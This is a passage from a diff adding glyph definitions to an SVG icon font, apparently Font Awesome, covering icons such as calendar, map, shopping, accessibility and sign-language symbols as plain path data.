-12 -12zM12 256h424c6.59961 0 12 -5.40039 12 -12v-260c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v260c0 6.59961 5.40039 12 12 12zM316 64c6.59961 0 12 5.40039 12 12v40c0 6.59961 -5.40039 12 -12 12h-184 +c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h184z" /> + <glyph glyph-name="calendar-times" unicode="" horiz-adv-x="448" +d="M436 288h-424c-6.59961 0 -12 5.40039 -12 12v36c0 26.5 21.5 48 48 48h48v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h128v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h48c26.5 0 48 -21.5 48 -48v-36 +c0 -6.59961 -5.40039 -12 -12 -12zM12 256h424c6.59961 0 12 -5.40039 12 -12v-260c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v260c0 6.59961 5.40039 12 12 12zM269.3 96l48.1006 48.0996c4.69922 4.7002 4.69922 12.3008 0 17l-28.3008 28.3008 +c-4.69922 4.69922 -12.2998 4.69922 -17 0l-48.0996 -48.1006l-48.0996 48.1006c-4.7002 4.69922 -12.3008 4.69922 -17 0l-28.3008 -28.3008c-4.69922 -4.69922 -4.69922 -12.2998 0 -17l48.1006 -48.0996l-48.1006 -48.0996c-4.69922 -4.7002 -4.69922 -12.3008 0 -17 +l28.3008 -28.3008c4.69922 -4.69922 12.2998 -4.69922 17 0l48.0996 48.1006l48.0996 -48.1006c4.7002 -4.69922 12.3008 -4.69922 17 0l28.3008 28.3008c4.69922 4.69922 4.69922 12.2998 0 17z" /> + <glyph glyph-name="calendar-check" unicode="" horiz-adv-x="448" +d="M436 288h-424c-6.62695 0 -12 5.37305 -12 12v36c0 26.5098 21.4902 48 48 48h48v52c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-52h128v52c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-52h48c26.5098 0 48 -21.4902 48 -48v-36 +c0 -6.62695 -5.37305 -12 -12 -12zM12 256h424c6.62695 0 12 -5.37305 12 -12v-260c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v260c0 6.62695 5.37305 12 12 12zM345.296 160.053l-28.1689 28.3984 +c-4.66699 4.70508 -12.2646 4.73535 -16.9697 0.0673828l-106.037 -105.184l-45.9805 46.3516c-4.66699 4.70508 -12.2656 4.73633 -16.9707 0.0683594l-28.3965 -28.1699c-4.70508 -4.66699 -4.73633 -12.2646 -0.0683594 -16.9697l82.6006 -83.2695 +c4.66699 -4.70508 12.2656 -4.73535 16.9707 -0.0673828l142.952 141.805c4.70508 4.66699 4.73633 12.2646 0.0683594 16.9697z" /> + <glyph glyph-name="industry" unicode="" +d="M475.115 284.219c15.9541 10.1514 36.8848 -1.33105 36.8848 -20.248v-271.971c0 -13.2549 -10.7451 -24 -24 -24h-464c-13.2549 0 -24 10.7451 -24 24v400c0 13.2549 10.7451 24 24 24h112c13.2549 0 24 -10.7451 24 -24v-196.309l139.115 88.5273 +c15.9541 10.1514 36.8848 -1.33203 36.8848 -20.248v-68.2793z" /> + <glyph glyph-name="map-pin" unicode="" horiz-adv-x="288" +d="M112 131.06c10.3896 -1.91992 21.0596 -3.05957 32 -3.05957s21.6104 1.13965 32 3.05957v-156.689l-22.0098 -33.0205c-4.75 -7.11914 -15.2207 -7.11914 -19.9707 0l-22.0195 33.0205v156.689zM144 448c79.5303 0 144 -64.4697 144 -144s-64.4697 -144 -144 -144 +s-144 64.4697 -144 144s64.4697 144 144 144zM144 372c6.62012 0 12 5.37988 12 12s-5.37988 12 -12 12c-50.7197 0 -92 -41.2695 -92 -92c0 -6.62012 5.37988 -12 12 -12s12 5.37988 12 12c0 37.5 30.5 68 68 68z" /> + <glyph glyph-name="map-signs" unicode="" +d="M507.31 363.31c6.25 -6.25 6.25 -16.3691 0 -22.6299l-43.3096 -43.3096c-6.00977 -6 -14.1396 -9.37012 -22.6299 -9.37012h-385.37c-13.25 0 -24 10.75 -24 24v80c0 13.25 10.75 24 24 24h168v16c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-16 +h153.37c8.49023 0 16.6299 -3.37012 22.6299 -9.37012zM224 -48v112h64v-112c0 -8.83984 -7.16016 -16 -16 -16h-32c-8.83984 0 -16 7.16016 -16 16zM456 224c13.25 0 24 -10.75 24 -24v-80c0 -13.25 -10.75 -24 -24 -24h-385.37 +c-8.49023 0 -16.6299 3.37012 -22.6299 9.37012l-43.3096 43.3096c-6.25 6.25 -6.25 16.3799 0 22.6299l43.3096 43.3203c6.00977 6 14.1396 9.37012 22.6299 9.37012h153.37v32h64v-32h168z" /> + <glyph glyph-name="map" unicode="" horiz-adv-x="576" +d="M0 330.34c0.00292969 13.4697 8.32617 24.9932 20.1201 29.71l139.88 55.9502v-384l-138.06 -62.8398c-10.5107 -4.2002 -21.9404 3.54004 -21.9404 14.8594v346.32zM192 32v384l192 -64v-384zM554.06 414.84c10.5107 4.2002 21.9404 -3.54004 21.9404 -14.8594v-346.32 +c0 -13.4707 -8.32422 -24.9951 -20.1201 -29.71l-139.88 -55.9502v384z" /> + <glyph glyph-name="comment-alt" unicode="" +d="M448 448c35.2998 0 64 -28.7002 64 -64v-288c0 -35.2998 -28.7002 -64 -64 -64h-144l-124.9 -93.7002c-7.89941 -5.7998 -19.0996 -0.0996094 -19.0996 9.7002v84h-96c-35.2998 0 -64 28.7002 -64 64v288c0 35.2998 28.7002 64 64 64h384z" /> + <glyph glyph-name="pause-circle" unicode="" +d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM240 112v160c0 8.7998 -7.2002 16 -16 16h-48c-8.7998 0 -16 -7.2002 -16 -16v-160c0 -8.7998 7.2002 -16 16 -16h48c8.7998 0 16 7.2002 16 16zM352 112v160 +c0 8.7998 -7.2002 16 -16 16h-48c-8.7998 0 -16 -7.2002 -16 -16v-160c0 -8.7998 7.2002 -16 16 -16h48c8.7998 0 16 7.2002 16 16z" /> + <glyph glyph-name="stop-circle" unicode="" +d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM352 112v160c0 8.7998 -7.2002 16 -16 16h-160c-8.7998 0 -16 -7.2002 -16 -16v-160c0 -8.7998 7.2002 -16 16 -16h160c8.7998 0 16 7.2002 16 16z" /> + <glyph glyph-name="shopping-bag" unicode="" horiz-adv-x="448" +d="M352 288h96v-272c0 -44.1826 -35.8174 -80 -80 -80h-288c-44.1826 0 -80 35.8174 -80 80v272h96v32c0 70.5801 57.4199 128 128 128c70.5791 0 128 -57.4199 128 -128v-32zM160 320v-32h128v32c0 35.29 -28.71 64 -64 64s-64 -28.71 -64 -64zM320 200 +c13.2549 0 24 10.7451 24 24s-10.7451 24 -24 24s-24 -10.7451 -24 -24s10.7451 -24 24 -24zM128 200c13.2549 0 24 10.7451 24 24s-10.7451 24 -24 24s-24 -10.7451 -24 -24s10.7451 -24 24 -24z" /> + <glyph glyph-name="shopping-basket" unicode="" horiz-adv-x="576" +d="M576 232v-16c0 -13.2549 -10.7451 -24 -24 -24h-8l-26.1133 -182.788c-3.37793 -23.6465 -23.6299 -41.2119 -47.5166 -41.2119h-364.74c-23.8867 0 -44.1387 17.5654 -47.5176 41.2119l-26.1123 182.788h-8c-13.2549 0 -24 10.7451 -24 24v16 +c0 13.2549 10.7451 24 24 24h67.3408l106.78 146.821c10.3945 14.292 30.4072 17.4531 44.7012 7.05762c14.293 -10.3945 17.4531 -30.4082 7.05762 -44.7012l-79.4033 -109.178h235.047l-79.4033 109.179c-10.3955 14.292 -7.23438 34.3066 7.05859 44.7012 +c14.291 10.3955 34.3066 7.23535 44.7012 -7.05762l106.779 -146.822h67.3408c13.2549 0 24 -10.7451 24 -24zM312 56v112c0 13.2549 -10.7451 24 -24 24s-24 -10.7451 -24 -24v-112c0 -13.2549 10.7451 -24 24 -24s24 10.7451 24 24zM424 56v112 +c0 13.2549 -10.7451 24 -24 24s-24 -10.7451 -24 -24v-112c0 -13.2549 10.7451 -24 24 -24s24 10.7451 24 24zM200 56v112c0 13.2549 -10.7451 24 -24 24s-24 -10.7451 -24 -24v-112c0 -13.2549 10.7451 -24 24 -24s24 10.7451 24 24z" /> + <glyph glyph-name="hashtag" unicode="" horiz-adv-x="448" +d="M440.667 265.891c-1.00195 -5.61328 -5.91309 -9.89062 -11.8135 -9.89062h-79.0957l-22.8564 -128h74.8096c7.4707 0 13.126 -6.75391 11.8135 -14.1094l-7.14355 -40c-1.00195 -5.61328 -5.91309 -9.89062 -11.8125 -9.89062h-79.0967l-15.377 -86.1094 +c-1.00195 -5.61328 -5.91309 -9.89062 -11.8125 -9.89062h-40.6318c-7.47266 0 -13.127 6.75391 -11.8135 14.1094l14.623 81.8906h-98.6338l-15.3779 -86.1094c-1.00195 -5.61328 -5.91309 -9.89062 -11.8135 -9.89062h-40.6318 +c-7.4707 0 -13.126 6.75391 -11.8125 14.1094l14.623 81.8906h-74.8105c-7.4707 0 -13.126 6.75391 -11.8125 14.1094l7.14258 40c1.00195 5.61328 5.91309 9.89062 11.8135 9.89062h79.0957l22.8564 128h-74.8096c-7.4707 0 -13.126 6.75391 -11.8135 14.1094l7.14355 40 +c1.00195 5.61328 5.91309 9.89062 11.8125 9.89062h79.0967l15.377 86.1094c1.00195 5.61328 5.91309 9.89062 11.8125 9.89062h40.6318c7.47266 0 13.127 -6.75391 11.8135 -14.1094l-14.623 -81.8906h98.6348l15.377 86.1094 +c1.00195 5.61328 5.91309 9.89062 11.8135 9.89062h40.6318c7.4707 0 13.126 -6.75391 11.8125 -14.1094l-14.623 -81.8906h74.8105c7.4707 0 13.126 -6.75391 11.8125 -14.1094zM261.889 128l22.8574 128h-98.6338l-22.8574 -128h98.6338z" /> + <glyph glyph-name="percent" unicode="" horiz-adv-x="448" +d="M112 224c-61.9004 0 -112 50.0996 -112 112s50.0996 112 112 112s112 -50.0996 112 -112s-50.0996 -112 -112 -112zM112 384c-26.5 0 -48 -21.5 -48 -48s21.5 -48 48 -48s48 21.5 48 48s-21.5 48 -48 48zM336 160c61.9004 0 112 -50.0996 112 -112 +s-50.0996 -112 -112 -112s-112 50.0996 -112 112s50.0996 112 112 112zM336 0c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48zM392.3 447.8l31.6006 0.100586c19.3994 0.0996094 30.8994 -21.8008 19.6992 -37.8008l-366.199 -463.699 +c-4.33203 -6.17773 -11.4912 -10.1973 -19.6006 -10.2002l-33.3994 -0.100586c-19.5 0 -30.9004 21.9004 -19.7002 37.8008l368 463.699c4.5 6.40039 11.7998 10.2002 19.5996 10.2002z" /> + <glyph glyph-name="universal-access" unicode="" +d="M256 400c-114.971 0 -208 -93.0469 -208 -208c0 -114.971 93.0469 -208 208 -208c114.971 0 208 93.0469 208 208c0 114.971 -93.0469 208 -208 208zM256 440c136.967 0 248 -111.033 248 -248s-111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248z +M256 384c106.039 0 192 -85.9609 192 -192s-85.9609 -192 -192 -192s-192 85.9609 -192 192s85.9609 192 192 192zM256 340c-19.8818 0 -36 -16.1182 -36 -36s16.1182 -36 36 -36s36 16.1182 36 36s-16.1182 36 -36 36zM373.741 241.977 +c8.59961 2.03027 13.9258 10.6484 11.8965 19.249c-2.03027 8.60156 -10.6494 13.9258 -19.249 11.8955c-96.4912 -22.7832 -124.089 -22.8291 -220.774 0c-8.60254 2.03125 -17.2178 -3.29395 -19.249 -11.8955c-2.03125 -8.60059 3.29492 -17.2178 11.8945 -19.249 +c28.7129 -6.7793 55.5127 -12.749 82.1416 -15.8066c-0.852539 -101.08 -12.3242 -123.08 -25.0371 -155.621c-3.61719 -9.25879 0.957031 -19.6982 10.2168 -23.3145c9.26465 -3.61914 19.7002 0.961914 23.3154 10.2168c8.72754 22.3408 17.0947 40.6982 22.2617 78.5488 +h9.68555c5.1748 -37.9131 13.5566 -56.2412 22.2617 -78.5488c3.61621 -9.25977 14.0547 -13.834 23.3154 -10.2168c9.25977 3.61621 13.834 14.0547 10.2168 23.3145c-12.7305 32.5693 -24.1855 54.5986 -25.0371 155.621c26.6299 3.05859 53.4287 9.02832 82.1406 15.8066 +z" /> + <glyph glyph-name="blind" unicode="" horiz-adv-x="384" +d="M380.15 -62.8369c-1.20898 -0.733398 -2.62695 -1.15625 -4.14258 -1.15625c-2.89941 0 -5.44336 1.53223 -6.84668 3.84277l-125.33 206.428c5.10547 2.02539 9.53809 5.2959 12.958 9.48438l126.048 -207.607c0.734375 -1.20898 1.15723 -2.62793 1.15723 -4.14355 +c0 -2.89941 -1.53223 -5.44434 -3.84375 -6.84766zM142.803 133.662l62.8145 -153.537c6.69141 -16.3584 -1.14453 -35.042 -17.501 -41.7344c-16.3564 -6.69043 -35.04 1.1416 -41.7334 17.501l-36.1201 88.2852zM96 360c-24.3008 0 -44 19.6992 -44 44s19.6992 44 44 44 +s44 -19.6992 44 -44s-19.6992 -44 -44 -44zM250.837 190.872c8.19336 -10.374 6.44434 -25.4922 -3.96582 -33.708c-9.33984 -7.37402 -24.5635 -7.61914 -33.708 3.96484l-102.3 129.217c-0.733398 0.924805 -1.86328 1.5127 -3.13281 1.5127 +c-2.20801 0 -4.00098 -1.79297 -4.00098 -4.00098c0 -0.9375 0.323242 -1.7998 0.864258 -2.48242l31.4062 -39.8164v-107.196l-65.9258 -181.288c-6.04102 -16.6143 -24.4072 -25.1768 -41.0088 -19.1387c-16.6104 6.04004 -25.1787 24.4004 -19.1387 41.0098 +l54.0732 148.693v140.698l-16 -20.5713v-79.7656c0 -13.0996 -10.4951 -23.748 -23.5361 -23.9961c-13.4531 -0.254883 -24.4639 11.0811 -24.4639 24.5361v95.6943l61.0557 78.5c4.72754 6.0791 11.7979 9.23633 18.9443 9.23926v0.0263672h32v-0.015625 +c7.08691 -0.00390625 14.1035 -3.11719 18.8369 -9.1123z" /> + <glyph glyph-name="audio-description" unicode="" +d="M162.925 209.291l8.82227 -30.6553h-25.6064l9.04102 30.6523c1.27734 4.4209 2.65137 9.99414 3.87207 15.2451c1.2207 -5.25098 2.59473 -10.8232 3.87109 -15.2422zM329.399 241.39c28.6846 0 46.1748 -16.7656 46.1748 -49.0049 +c0 -32.0977 -16.3994 -49.7754 -46.1748 -49.7754h-14.5234v98.7803h14.5234zM512 336v-288c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v288c0 26.5098 21.4902 48 48 48h416c26.5098 0 48 -21.4902 48 -48zM245.459 111.861l-57.0967 168 +c-1.6084 4.73242 -6.08887 8.13867 -11.3623 8.13867h-35.8936c-5.27344 0 -9.75391 -3.40625 -11.3623 -8.13867l-57.0967 -168c-2.64453 -7.7832 3.1416 -15.8613 11.3613 -15.8613h29.1328c5.47559 0 10.0977 3.67676 11.5352 8.69336l8.57422 29.9053h51.3672 +l8.79297 -29.9766c1.46094 -4.97949 6.06543 -8.62207 11.5146 -8.62207h29.1719c8.2207 0 14.0059 8.07812 11.3613 15.8613zM430.16 192.386c0 58.9775 -37.9189 95.6143 -98.96 95.6143h-57.3662c-6.62695 0 -12 -5.37305 -12 -12v-168c0 -6.62695 5.37305 -12 12 -12 +h57.3662c61.041 0 98.96 36.9326 98.96 96.3857z" /> + <glyph glyph-name="phone-volume" unicode="" horiz-adv-x="384" +d="M97.333 -58.9658c-129.874 129.874 -129.681 340.252 0 469.933c5.69824 5.69824 14.5273 6.63184 21.2627 2.42188l64.8174 -40.5127c4.86035 -3.03711 8.09668 -8.43652 8.09668 -14.5859c0 -2.25098 -0.458984 -4.40137 -1.24805 -6.37207l-32.4082 -81.0205 +c-2.5332 -6.33496 -8.73047 -10.8145 -15.9648 -10.8145c-0.583008 0 -1.13574 0.0380859 -1.7041 0.0947266l-55.8096 5.58008c-21.0508 -58.2607 -20.6123 -122.471 0 -179.515l55.8105 5.58105c0.568359 0.0566406 1.14551 0.0859375 1.72852 0.0859375 +c7.23438 0 13.4072 -4.4707 15.9414 -10.8047l32.4072 -81.0225c0.789062 -1.9707 1.22266 -4.12207 1.22266 -6.37305c0 -6.14844 -3.21094 -11.5469 -8.07129 -14.585l-64.8174 -40.5127c-2.6377 -1.64844 -5.75391 -2.60156 -9.09082 -2.60156 +c-4.74316 0 -9.06152 1.91211 -12.1729 5.02344zM247.126 352.527c11.832 -20.0469 11.832 -45.0088 0 -65.0557c-3.9502 -6.69238 -13.1084 -7.95898 -18.7178 -2.58105l-5.97559 5.72656c-3.91016 3.74805 -4.79297 9.62207 -2.26074 14.4102 +c2.35645 4.46191 3.69141 9.5459 3.69141 14.9395c0 5.39258 -1.33496 10.543 -3.69141 15.0049c-2.5332 4.78809 -1.64941 10.6621 2.26074 14.4102l5.97559 5.72656c5.60938 5.37793 14.7676 4.11133 18.7178 -2.58105zM338.913 443.714 +c60.1396 -71.6035 60.0918 -175.882 0 -247.428c-4.47363 -5.32715 -12.5303 -5.74609 -17.5518 -0.933594l-5.79785 5.55762c-4.56055 4.37109 -4.97754 11.5293 -0.930664 16.3789c49.6875 59.5381 49.6465 145.933 0 205.422 +c-4.04688 4.84961 -3.63086 12.0078 0.930664 16.3789l5.79785 5.55762c5.02148 4.8125 13.0781 4.39355 17.5518 -0.933594zM292.941 398.773c36.0498 -46.3223 36.1074 -111.149 0 -157.547c-4.39062 -5.64062 -12.6973 -6.25098 -17.8564 -1.30371l-5.81836 5.5791 +c-4.39941 4.21875 -4.99805 11.0947 -1.28418 15.9307c26.5352 34.5645 26.5332 82.5723 0 117.135c-3.71387 4.83594 -3.11523 11.7109 1.28418 15.9307l5.81836 5.5791c5.15918 4.94727 13.4658 4.33691 17.8564 -1.30371z" /> + <glyph glyph-name="braille" unicode="" horiz-adv-x="640" +d="M128 192c0 -35.3457 -28.6543 -64 -64 -64s-64 28.6543 -64 64s28.6543 64 64 64s64 -28.6543 64 -64zM64 64c17.6729 0 32 -14.3271 32 -32s-14.3271 -32 -32 -32s-32 14.3271 -32 32s14.3271 32 32 32zM64 416c35.3457 0 64 -28.6543 64 -64s-28.6543 -64 -64 -64 +s-64 28.6543 -64 64s28.6543 64 64 64zM224 224c17.6729 0 32 -14.3271 32 -32s-14.3271 -32 -32 -32s-32 14.3271 -32 32s14.3271 32 32 32zM224 64c17.6729 0 32 -14.3271 32 -32s-14.3271 -32 -32 -32s-32 14.3271 -32 32s14.3271 32 32 32zM224 416 +c35.3457 0 64 -28.6543 64 -64s-28.6543 -64 -64 -64s-64 28.6543 -64 64s28.6543 64 64 64zM448 224c17.6729 0 32 -14.3271 32 -32s-14.3271 -32 -32 -32s-32 14.3271 -32 32s14.3271 32 32 32zM448 64c17.6729 0 32 -14.3271 32 -32s-14.3271 -32 -32 -32 +s-32 14.3271 -32 32s14.3271 32 32 32zM448 416c35.3457 0 64 -28.6543 64 -64s-28.6543 -64 -64 -64s-64 28.6543 -64 64s28.6543 64 64 64zM608 224c17.6729 0 32 -14.3271 32 -32s-14.3271 -32 -32 -32s-32 14.3271 -32 32s14.3271 32 32 32zM608 64 +c17.6729 0 32 -14.3271 32 -32s-14.3271 -32 -32 -32s-32 14.3271 -32 32s14.3271 32 32 32zM608 384c17.6729 0 32 -14.3271 32 -32s-14.3271 -32 -32 -32s-32 14.3271 -32 32s14.3271 32 32 32z" /> + <glyph glyph-name="assistive-listening-systems" unicode="" +d="M216 188c0 -15.4639 -12.5361 -28 -28 -28s-28 12.5361 -28 28c0 44.1123 35.8877 80 80 80s80 -35.8877 80 -80c0 -15.4639 -12.5361 -28 -28 -28s-28 12.5361 -28 28c0 13.2344 -10.7666 24 -24 24s-24 -10.7656 -24 -24zM240 364c97.0469 0 176 -78.9531 176 -176 +c0 -95.9863 -71.4053 -109.798 -72 -144.226c-0.124023 -59.4463 -48.5254 -107.774 -108 -107.774c-15.4639 0 -28 12.5361 -28 28s12.5361 28 28 28c28.6729 0 52 23.3271 52 52l0.00292969 0.37793c0.988281 73.3115 71.9971 68.458 71.9971 143.622 +c0 66.168 -53.832 120 -120 120s-120 -53.832 -120 -120c0 -15.4639 -12.5361 -28 -28 -28s-28 12.5361 -28 28c0 97.0469 78.9531 176 176 176zM160 128c17.6729 0 32 -14.3271 32 -32s-14.3271 -32 -32 -32s-32 14.3271 -32 32s14.3271 32 32 32zM32 0 +c17.6729 0 32 -14.3271 32 -32s-14.3271 -32 -32 -32s-32 14.3271 -32 32s14.3271 32 32 32zM512 187.993c0 -15.4639 -12.5371 -28 -28.001 -28s-28 12.5361 -28 28c0 1.12695 -0.00683594 2.24512 -0.0332031 3.36328l-0.00292969 0.1875 +c-1.4668 91.4404 -60.1709 172.599 -146.077 201.953c-14.6318 5.00098 -22.4414 20.917 -17.4414 35.5498c5.00098 14.6328 20.917 22.4404 35.5498 17.4424c108.163 -36.959 182.082 -139.015 183.961 -253.965c0.0332031 -1.50684 0.0449219 -3.01367 0.0449219 -4.53125 +zM152.971 8.9707l-33.9404 -33.9404l-80 80l33.9404 33.9404z" /> + <glyph glyph-name="american-sign-language-interpreting" unicode="" horiz-adv-x="640" +d="M290.547 258.961c-20.2949 10.1494 -44.1465 11.1992 -64.7393 3.88965c42.6064 0 71.208 -20.4746 85.5781 -50.5752c8.57617 -17.8994 -5.14746 -38.0713 -23.6172 -38.0713c18.4297 0 32.2119 -20.1357 23.6172 -38.0713 +c-14.7246 -30.8457 -46.123 -50.8535 -80.2979 -50.8535c-0.556641 0 -94.4707 8.61426 -94.4707 8.61426l-66.4062 -33.3467c-9.38379 -4.69336 -19.8145 -0.378906 -23.8945 7.78125l-44.4561 88.9248c-4.16699 8.61523 -1.11133 18.8975 6.94531 23.6211l58.0723 33.0693 +l41.1221 74.1953c6.38965 57.2451 34.7314 109.768 79.7432 146.727c11.3906 9.44824 28.3408 7.78125 37.5098 -3.61328c9.44629 -11.3936 7.78027 -28.0674 -3.6123 -37.5156c-12.5029 -10.5596 -23.6172 -22.5098 -32.5088 -35.5703 +c21.6719 14.7285 46.6787 24.7324 74.1865 28.0674c14.7246 1.94434 28.0625 -8.33594 29.7295 -23.0654c1.94531 -14.7275 -8.33594 -28.0674 -23.0615 -29.7344c-16.1162 -1.94434 -31.1201 -7.50293 -44.1787 -15.2832c26.1143 5.71289 58.7119 3.1377 88.0791 -11.1152 +c13.3359 -6.66895 18.8936 -22.5088 12.2246 -35.8486c-6.38965 -13.0596 -22.5039 -18.6162 -35.5645 -12.2256zM263.318 189.489c-6.1123 12.5049 -18.3379 20.2861 -32.2314 20.2861h-0.107422c-19.5703 0 -35.46 -15.8896 -35.46 -35.46 +c0 -0.0380859 0.00195312 -0.0732422 0.00292969 -0.110352c0 -21.4277 17.8076 -35.5703 35.5645 -35.5703c13.8936 0 26.1191 7.78125 32.2314 20.2861c4.44531 9.44922 13.6133 15.0059 23.3389 15.2842c-9.72559 0.277344 -18.8936 5.83496 -23.3389 15.2842z +M638.139 226.726c4.16797 -8.61426 1.11133 -18.8965 -6.94531 -23.6201l-58.0713 -33.0693l-41.1221 -74.1963c-6.38965 -57.2451 -34.7314 -109.767 -79.7432 -146.726c-10.9316 -9.1123 -27.7988 -8.14453 -37.5098 3.6123 +c-9.44629 11.3945 -7.78027 28.0674 3.61328 37.5166c12.5029 10.5586 23.6162 22.5088 32.5078 35.5703c-21.6719 -14.7295 -46.6787 -24.7324 -74.1865 -28.0674c-10.0205 -2.50586 -27.5518 5.64258 -29.7295 23.0645c-1.94531 14.7285 8.33594 28.0674 23.0615 29.7344 +c16.1162 1.94629 31.1201 7.50293 44.1787 15.2842c-26.1143 -5.71289 -58.7119 -3.1377 -88.0791 11.1152c-13.3359 6.66895 -18.8936 22.5088 -12.2246 35.8477c6.38965 13.0605 22.5049 18.6191 35.5654 12.2266c20.2949 -10.1484 44.1465 -11.1982 64.7393 -3.88965 +c-42.6064 0 -71.208 20.4746 -85.5781 50.5762c-8.57617 17.8984 5.14746 38.0713 23.6172 38.0713c-18.4297 0 -32.2109 20.1357 -23.6172 38.0703c14.0332 29.3965 44.0391 50.8877 81.9658 50.8545l92.8027 -8.61523l66.4062 33.3467 +c9.4082 4.7041 19.8281 0.354492 23.8936 -7.78027zM408.912 245.344c-13.8936 0 -26.1191 -7.78027 -32.2314 -20.2861c-4.44531 -9.44824 -13.6133 -15.0059 -23.3389 -15.2832c9.72559 -0.27832 18.8936 -5.83594 23.3389 -15.2842 +c6.1123 -12.5049 18.3379 -20.2861 32.2314 -20.2861h0.107422c19.5703 0 35.46 15.8887 35.46 35.46c0 0.0371094 -0.00195312 0.0722656 -0.00292969 0.110352c0 21.4287 -17.8076 35.5693 -35.5645 35.5693z" /> + <glyph glyph-name="deaf" unicode="" +d="M216 188c0 -15.4639 -12.5361 -28 -28 -28s-28 12.5361 -28 28c0 44.1123 35.8877 80 80 80s80 -35.8877 80 -80c0 -15.4639 -12.5361 -28 -28 -28s-28 12.5361 -28 28c0 13.2344 -10.7666 24 -24 24s-24 -10.7656 -24 -24zM240 364c97.0469 0 176 -78.9531 176 -176 +c0 -95.9863 -71.4053 -109.798 -72 -144.226c-0.124023 -59.4463 -48.5254 -107.774 -108 -107.774c-15.4639 0 -28 12.5361 -28 28s12.5361 28 28 28c28.6729 0 52 23.3271 52 52l0.00292969 0.37793c0.988281 73.3115 71.9971 68.458 71.9971 143.622 +c0 66.168 -53.832 120 -120 120s-120 -53.832 -120 -120c0 -15.4639 -12.5361 -28 -28 -28s-28 12.5361 -28 28c0 97.0469 78.9531 176 176 176zM508.485 416.201c4.68652 -4.68652 4.68652 -12.2842 0 -16.9727l-87.0303 -87.0283 +c-4.68652 -4.68652 -12.2842 -4.68652 -16.9697 0l-28.2852 28.2852c-4.68652 4.68652 -4.68652 12.2842 0 16.9707l87.0283 87.0293c4.6875 4.68555 12.2842 4.68555 16.9717 0zM168.97 133.255l28.2861 -28.2842c4.68652 -4.68652 4.68652 -12.2852 0 -16.9707 +l-148.484 -148.485c-4.6875 -4.68555 -12.2842 -4.68555 -16.9717 0l-28.2852 28.2842c-4.68555 4.6875 -4.68555 12.2852 0 16.9707l148.485 148.485c4.68555 4.68652 12.2842 4.68652 16.9697 0z" /> + <glyph glyph-name="sign-language" unicode="" horiz-adv-x="448" +d="M91.4336 -35.9873c-0.306641 16.0186 13.1094 29.1289 29.1309 29.1289h62.293v5.71484h-125.864c-16.0215 0 -29.4375 13.1104 -29.1299 29.1289c0.296875 15.5234 12.9717 28.0146 28.5645 28.0146h126.43v5.71387h-153.722 +c-16.0205 0 -29.4365 13.1113 -29.1299 29.1289c0.296875 15.5225 12.9727 28.0137 28.5664 28.0137h154.286v5.71387h-125.151c-16.0215 0 -29.4375 13.1104 -29.1299 29.1289c0.296875 15.5215 12.9727 28.0127 28.5654 28.0127h168.566l-31.085 22.6064 +c-12.7617 9.28027 -15.583 27.1484 -6.30176 39.9121c9.28027 12.7607 27.1494 15.5811 39.9121 6.30176l123.36 -89.7148c8.57324 -6.23535 14.1201 -16.3271 14.1201 -27.7285v-141.136c0 -15.9102 -10.9463 -29.7305 -26.4326 -33.374l-80.4717 -18.9346 +c-10.1113 -2.37891 -20.5771 -3.64551 -31.4102 -3.64551h-107.4c-15.5928 0.000976562 -28.2686 12.4922 -28.5664 28.0137zM164.683 189.714l-36.3711 46.71c-9.5791 12.3027 -7.51172 29.9795 4.55371 39.75c12.4502 10.083 31.0371 7.55273 40.8799 -5.08789 +l13.0039 -16.7002c-17.1426 -15.6484 -15.4092 -43.0244 3.16992 -56.5361l11.1875 -8.13574h-36.4238zM447.981 191.817c0.0117188 -0.379883 0.0439453 -0.729492 0.0439453 -1.1123c0 -10.9961 -5.1875 -20.7891 -13.2461 -27.0654l-61.0645 -47.5488v16.999 +c0 13.4834 -6.51074 26.2686 -17.415 34.1982l-123.359 89.7139c-12.6357 9.18945 -29.1934 9.16113 -41.6904 0.904297l-52.0527 66.8486c-9.84375 12.6416 -7.74121 31.2822 5.08594 40.8809c12.4297 9.30273 30.0732 6.97559 39.6523 -5.32812l77.6758 -99.7539 +l4.50879 3.51172l-94.4434 121.287c-9.84277 12.6416 -7.74121 31.2822 5.08594 40.8818c12.4307 9.30176 30.0732 6.97461 39.6533 -5.32812l94.79 -121.734l4.50879 3.51074l-76.8887 98.7451c-9.84277 12.6416 -7.74121 31.2822 5.08594 40.8809 +c12.4297 9.30273 30.0732 6.97559 39.6533 -5.32715l103.562 -133.001l-1.26172 38.4141c-0.518555 15.7715 11.8457 28.9756 27.6191 29.4932c15.7705 0.517578 28.9746 -11.8477 29.4922 -27.6191z" /> + <glyph glyph-name="low-vision" unicode="" horiz-adv-x="576" +d="M569.344 216.369c4.20996 -7.13086 6.62598 -15.5469 6.62598 -24.4199c0 -8.87402 -2.41699 -17.1875 -6.62695 -24.3193c-31.9746 -54.2607 -79.6484 -98.3232 -136.81 -126.301l0.00683594 -0.00878906l43.1201 -58.377 +c7.60156 -10.8594 4.95996 -25.8252 -5.90039 -33.4268l-13.1133 -9.17773c-10.8594 -7.59863 -25.8223 -4.95801 -33.4238 5.90039l-251.836 356.544c-13.5234 -6.16211 -26.5166 -13.3994 -38.7764 -21.5635l189.979 -271.399 +c-11.4863 -1.21191 -22.4707 -1.83301 -34.2754 -1.83301c-15.1465 0 -30.0566 1.02344 -44.6641 3.00293l-40.6309 58.04h-0.00976562l-119.399 170.58c-10.457 -11.1943 -19.8271 -23.0791 -28.2939 -35.9121l124.19 -177.417 +c-73.1172 25.4863 -134.358 76.0166 